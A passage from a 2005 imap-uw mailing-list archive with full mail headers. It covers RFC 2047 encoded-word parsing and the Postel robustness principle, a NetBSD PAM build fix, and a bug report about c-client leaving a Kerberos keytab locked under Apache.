consequence have adopted the "--" choice. It'll be in the next imap-2005 development snapshot. Speaking of imap-2005; this is a sneak peak at the new code which supports UIDPLUS. I do not consider this code to be "ready for prime time", but after a few months of testing it's ready for other people on an experimental basis. There are some known issues in imap-2005; please read the BEWARE-READ-ME-FIRST file for more details. The download is at: ftp://ftp.cac.washington.edu/mail/imap-2005.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 6 08:11:54 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 08:11:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FBsA3021775 for ; Thu, 6 Oct 2005 08:11:54 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FBr7p004589 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Oct 2005 08:11:53 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FBr8x000552; Thu, 6 Oct 2005 08:11:53 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FBroF030342; Thu, 6 Oct 2005 08:11:53 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FBpsj030334 for ; Thu, 6 Oct 2005 08:11:51 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FBpoC009975 for ; Thu, 6 Oct 2005 08:11:51 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 4E21D3E80D1 for ; Thu, 6 Oct 2005 10:11:22 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 07083-03 for ; Thu, 6 Oct 2005 10:11:20 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 89C943E8083; Thu, 6 Oct 2005 10:11:20 -0500 (CDT) Received: from [192.168.1.5] (adsl-68-94-49-151.dsl.rcsntx.swbell.net [68.94.49.151]) by mail.bynari.net (Postfix) with ESMTP id 6E0363E804E for ; Thu, 6 Oct 2005 10:11:20 -0500 (CDT) Message-ID: <43453EB4.3000400@bynari.net> Date: Thu, 06 Oct 2005 10:11:48 -0500 From: Shawn Walker User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu References: <20051005200338.GC22298@diane.unet.brandeis.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at bynari.net X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report='X_NJABL_OPEN_PROXY 1.9, RCVD_IN_NJABL_ORG 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] utf8_mime2text doesn't decode QP correctly? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu We have a from address that has: From: =?UTF-8?Q? Fr=C3=A9d=C3=A9ric ?= " utf8_mime2text() can't decode that, if there is no spaces in the encoding such as From: =?UTF-8?Q?Fr=C3=A9d=C3=A9ric?= " utf8_mime2text() decodes it just fine. We are using 2004 of c-client. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 6 08:24:30 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 08:24:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FOUOr022579 for ; Thu, 6 Oct 2005 08:24:30 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FOTfT017528 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Oct 2005 08:24:29 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FOTPS001818; Thu, 6 Oct 2005 08:24:29 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FOST9032425; Thu, 6 Oct 2005 08:24:28 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FORFX032417 for ; Thu, 6 Oct 2005 08:24:27 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FORYY017120 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 6 Oct 2005 08:24:27 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FOQoa008372 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 6 Oct 2005 08:24:26 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96FOOsk006089 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 6 Oct 2005 08:24:25 -0700 Date: Thu, 6 Oct 2005 08:24:24 -0700 (PDT) From: Mark Crispin To: Shawn Walker Subject: Re: [Imap-uw] utf8_mime2text doesn't decode QP correctly? In-Reply-To: <43453EB4.3000400@bynari.net> Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> <43453EB4.3000400@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 6 Oct 2005, Shawn Walker wrote: > We have a from address that has: > From: =?UTF-8?Q? Fr=C3=A9d=C3=A9ric ?= " > utf8_mime2text() can't decode that, if there is no spaces in the encoding > such as > From: =?UTF-8?Q?Fr=C3=A9d=C3=A9ric?= " > utf8_mime2text() decodes it just fine. That behavior is intentional and correct. The first paragraph of RFC 2047 section 2 states that "white space characters MUST NOT appear between components of an 'encoded-word'." Later on in section 2, we find: IMPORTANT: 'encoded-word's are designed to be recognized as 'atom's by an RFC 822 parser. As a consequence, unencoded white space characters (such as SPACE and HTAB) are FORBIDDEN within an 'encoded-word'. For example, the character sequence =?iso-8859-1?q?this is some text?= would be parsed as four 'atom's, rather than as a single 'atom' (by an RFC 822 parser) or 'encoded-word' (by a parser which understands 'encoded-words'). The correct way to encode the string "this is some text" is to encode the SPACE characters as well, e.g. =?iso-8859-1?q?this=20is=20some=20text?= RFC 2047 also permits the use of "_" instead of "=20", so that example can also be stated as: =?iso-8859-1?q?this_is_some_text?= In conclusion, the problem is with the the entity that generated that From address, not with c-client. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 6 10:29:16 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 10:29:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96HTGCO030784 for ; Thu, 6 Oct 2005 10:29:16 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96HTFWM027527 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Oct 2005 10:29:15 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96HTFnZ015339; Thu, 6 Oct 2005 10:29:15 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96HTF66025865; Thu, 6 Oct 2005 10:29:15 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96HTE7P025857 for ; Thu, 6 Oct 2005 10:29:14 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96HTDV9012748 for ; Thu, 6 Oct 2005 10:29:14 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j96HTDl423121 for ; Thu, 6 Oct 2005 12:29:13 -0500 (CDT) Date: Thu, 6 Oct 2005 12:29:13 -0500 (CDT) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] utf8_mime2text doesn't decode QP correctly? In-Reply-To: Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> <43453EB4.3000400@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: Re: [Imap-uw] utf8_mime2text doesn't decode QP correctly?,...: > In conclusion, the problem is with the the entity that generated that From > address, not with c-client. I'm not disagreeing, but what about being "... generous in what you accept"? There is a lot of software that generates QP incorrectly in some cases; it would be really nice if c-client (and pine, by extension) would work around the deficiences of that other software -- assuming it's not terribly onerous to do so. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 6 11:13:02 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 11:13:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ID2sL002858 for ; Thu, 6 Oct 2005 11:13:02 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ID0Kk030662 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Oct 2005 11:13:01 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ID0Eo023826; Thu, 6 Oct 2005 11:13:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ID0Re013319; Thu, 6 Oct 2005 11:13:00 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ICwsR013303 for ; Thu, 6 Oct 2005 11:12:58 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ICwsA025991 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 6 Oct 2005 11:12:58 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ICvXk006919 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 6 Oct 2005 11:12:57 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ICtMM022513 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 6 Oct 2005 11:12:56 -0700 Date: Thu, 6 Oct 2005 11:12:55 -0700 (PDT) From: Mark Crispin To: Tim Mooney Subject: Re: [Imap-uw] utf8_mime2text doesn't decode QP correctly? In-Reply-To: Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> <43453EB4.3000400@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 6 Oct 2005, Tim Mooney wrote: >> In conclusion, the problem is with the the entity that generated that From >> address, not with c-client. > I'm not disagreeing, but what about being "... generous in what you > accept"? My position is: This argument is based upon a terrible misunderstanding of Jon Postel's robustness principle: "be liberal in what you accept, be conservative in what you generate." I knew Jon personally. Although I can't speak for Jon, and sadly Jon is no longer with us, I am confident that he never intended it to be used in cases like this. Jon's point was that ARPAnet (later Internet) protocols had many facilities, but only a subset of these facilities were commonly used. This had caused interoperability problems when one implementation depended upon a facility that another implementation did not implement. TELNET, FTP, and the early email protocols suffered greatly from such problems. Thus, "be conservative" by eschewing the facilities that aren't commonly used; but "be liberal" by implementing all the facilities described in the base specification even if they seem silly/useless/meaningless. As an example of the Postel Principle, it was perfectly reasonable in RFCs 733 and 822 to have a From header looking like: From: Joe Mooch <(personal) joe (mooch) @ (company) example.com > The c-client library (and hence Pine) is liberal and will interpret it correctly as being equivalent to: From: Joe Mooch but many other MUAs will not! Incidentally, RFC 2822 threw in the towel and outlawed sending the former. So, there is no longer a stated need for MUAs to "be liberal" and accept that form. But some MUAs still do so out of respect for the past. The abuse of the Postel Principle is its extension to "be liberal" by accepting out-of-specification protocol, even in those cases when the situation has always been explicitly prohibited by the specification. This abuse encourages the practice of browbeating standards-compliant implementations to be non-compliant because some other implementation is non-compliant: "blurdybloop works with it, so your software is broken." It also creates long-term interoperability problems; nobody really knows what the standard is. A new implementor can not implement from the specification because much of the standard is in folklore that is not in any written specification. It also causes harm. Over the past 30 years, we've had numerous sad examples in which correct protocol was "repaired" into bogusity by well-intentioned software that incorrectly thought "it didn't really mean that, it meant this other thing, I'll fix it." Email protocols in particular have suffered greatly because of this problem, which was largely brought on by the lack of rigor in the early specifications. The IMAP protocol's strict syntax rules were a reaction to this problem. IMAP tries very hard to have just One Right Way That Everybody Must Obey. It occasionally has faltered in enforcement; and goodness knows people have complained about IMAP being so strict. Nevertheless IMAP has had much better interoperability than had previously existed in email protocols. > There is a lot of software that generates QP incorrectly in some cases; > it would be really nice if c-client (and pine, by extension) would work > around the deficiences of that other software -- assuming it's not > terribly onerous to do so. In my opinion, it is onerous for the following reasons: 1) (Multiple) slippery slope argument(s): a) standard undocumented in any specification b) repetitive fixing of bad effects of previous fixes c) "you did that, so you should do this too"... :-( d) etc. 2) It introduces a bug: valid, standard-compliant data *will* be misinterpreted, and when that happens, the aggrieved party will rightfully say that it's c-client's fault. 3) It's additional work; doing this means that the code can no longer use the rule, explicitly stated in RFC 2047, that an encoded-word is an RFC 2822 atom. Your mileage may vary... :-) -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 6 11:28:14 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 11:28:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ISDUe003861 for ; Thu, 6 Oct 2005 11:28:13 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ISBuf031939 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Oct 2005 11:28:12 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ISBP7025775; Thu, 6 Oct 2005 11:28:11 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ISBe0017352; Thu, 6 Oct 2005 11:28:11 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96ISAF1017343 for ; Thu, 6 Oct 2005 11:28:10 -0700 Received: from shaun.wasmer.ca (shaun.wasmer.ca [64.26.155.159]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96IS8ff010436 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 6 Oct 2005 11:28:09 -0700 Received: from [192.168.1.176] (toronto-HSE-ppp4120397.sympatico.ca [70.50.240.203]) (authenticated bits=0) by shaun.wasmer.ca (8.13.4/8.13.4) with ESMTP id j96ISLYm002383 for ; Thu, 6 Oct 2005 14:28:22 -0400 (EDT) Message-ID: <43456CB0.2060402@lists.wasmer.ca> Date: Thu, 06 Oct 2005 14:28:00 -0400 From: Jean-Luc Wasmer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050923 Thunderbird/1.0.7 Mnenhy/0.7.2.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Authentication with PAM References: <4343012F.70904@lists.wasmer.ca> <43435F58.1010500@lists.wasmer.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark Crispin wrote: > On Wed, 5 Oct 2005, Jean-Luc Wasmer wrote: . > >> Do I need a special switch to enable PAM when I build the software? > > > It depends upon what command you used to build the software. Some > builds, such as "make lnp", "make lrh", automatically build with PAM. > Which build command did you use? OK... The reason why my first attempt didn't work (make PASSWDTYPE=pam) is because NetBSD doesn't have a dl library (in NetBSD, one doesn't need to link any library to support dynamic linking in an application). Changing "PAMLDFLAGS= -lpam -ldl" for "PAMLDFLAGS= -lpam" in imap-2004e/src/osdep/unix/Makefile fixed the problem. Jean-Luc PS: I'm unsubscribing from the list so cc me when replying. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 6 13:23:56 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 13:23:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KNujv010898 for ; Thu, 6 Oct 2005 13:23:56 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KNrL7007399 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Oct 2005 13:23:53 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KNqxk008171; Thu, 6 Oct 2005 13:23:52 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KNq9c010281; Thu, 6 Oct 2005 13:23:52 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KNpbm010265 for ; Thu, 6 Oct 2005 13:23:51 -0700 Received: from exch-one.centrify.com (mail.centrify.com [63.199.144.28]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KNoEY013345 for ; Thu, 6 Oct 2005 13:23:50 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Date: Thu, 6 Oct 2005 13:23:49 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Keytab locked by c-client Thread-Index: AcXKs9yW84ayvoZKT5GqUUebMEYSiA== From: "Paul Moore" To: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='HTML_50_70 0.1, __C230066_P5 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0' Subject: [Imap-uw] Keytab locked by c-client X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1374728959==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============1374728959== Content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C5CAB3.DD1FFA7D" This is a multi-part message in MIME format. ------_=_NextPart_001_01C5CAB3.DD1FFA7D Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Running php configured with imap inside apache locks the kerberos keytab. This bug has beed reported before (redhat 114432) (php 34745) I have tracked it down =20 This code long kerberos_server_valid () { krb5_context ctx; krb5_keytab kt; krb5_kt_cursor csr; long ret =3D NIL; /* make a context */ if (!krb5_init_context (&ctx)) { /* get default keytab */ if (!krb5_kt_default (ctx,&kt)) { /* can do server if have good keytab */ if (!krb5_kt_start_seq_get (ctx,kt,&csr)) ret =3D LONGT; krb5_kt_close (ctx,kt); /* finished with keytab */ } krb5_free_context (ctx); /* finished with context */ } return ret; } =20 Is called at startup. The problem is that kt_close does not close the keytab - it only frees buffers. After calling kt_start_seq_get you must call kt_end_seq_get to close the keytab =20 In many cases this is not a problme becuse this module is being called one time in a transient process. In apache however it is called when the webs erver starts and the lock lasts for as long as apache is running (probaly a long time!) =20 Paul Moore CTO, Centrify Corporation www.centrify.com =20 10900 NE 8th Street #900 Bellevue WA, 98004 office: 425 990 4544 cell: 206 251 7008 =20 ------_=_NextPart_001_01C5CAB3.DD1FFA7D Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
    Running php=20 configured with imap inside apache locks the kerberos keytab.=20 This bug=20 has beed reported before (redhat 114432) (php 34745)
    I have = tracked it=20 down
     
    This=20 code
    long=20 kerberos_server_valid ()
    {
      krb5_context ctx;
      = krb5_keytab=20 kt;
      krb5_kt_cursor csr;
      long ret =3D=20 NIL;
        /* make a context */
      if=20 (!krb5_init_context (&ctx)) {
        /* get = default=20 keytab */
        if (!krb5_kt_default (ctx,&kt))=20 {
        /* can do server if have good keytab=20 */
          if (!krb5_kt_start_seq_get=20 (ctx,kt,&csr)) ret =3D LONGT;
          = krb5_kt_close=20 (ctx,kt); /* finished with keytab */
       =20 }
        krb5_free_context (ctx); /* finished with = context=20 */
      }
      return ret;
    }
     
    Is = called at=20 startup. The problem is that kt_close does not close the keytab - it = only frees=20 buffers.
    After = calling=20 kt_start_seq_get you must call kt_end_seq_get to close the=20 keytab
     
    In = many cases this=20 is not a problme becuse this module is being called one time in a = transient=20 process. In apache however it is called when the webs erver=20 starts
    and = the lock lasts=20 for as long as apache is running (probaly a long = time!)
     
    Paul Moore
    CTO, Centrify Corporation = www.centrify.com
    10900 NE 8th Street = #900
    Bellevue WA, = 98004
    office: 425 990 = 4544
    cell: 206 251 = 7008
     
    ------_=_NextPart_001_01C5CAB3.DD1FFA7D-- --===============1374728959== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1374728959==-- From pinedev@shivax2.cac.washington.edu Thu Oct 6 13:26:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Oct 2005 13:26:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQlEB011040 for ; Thu, 6 Oct 2005 13:26:47 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j96KQl1X028488 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 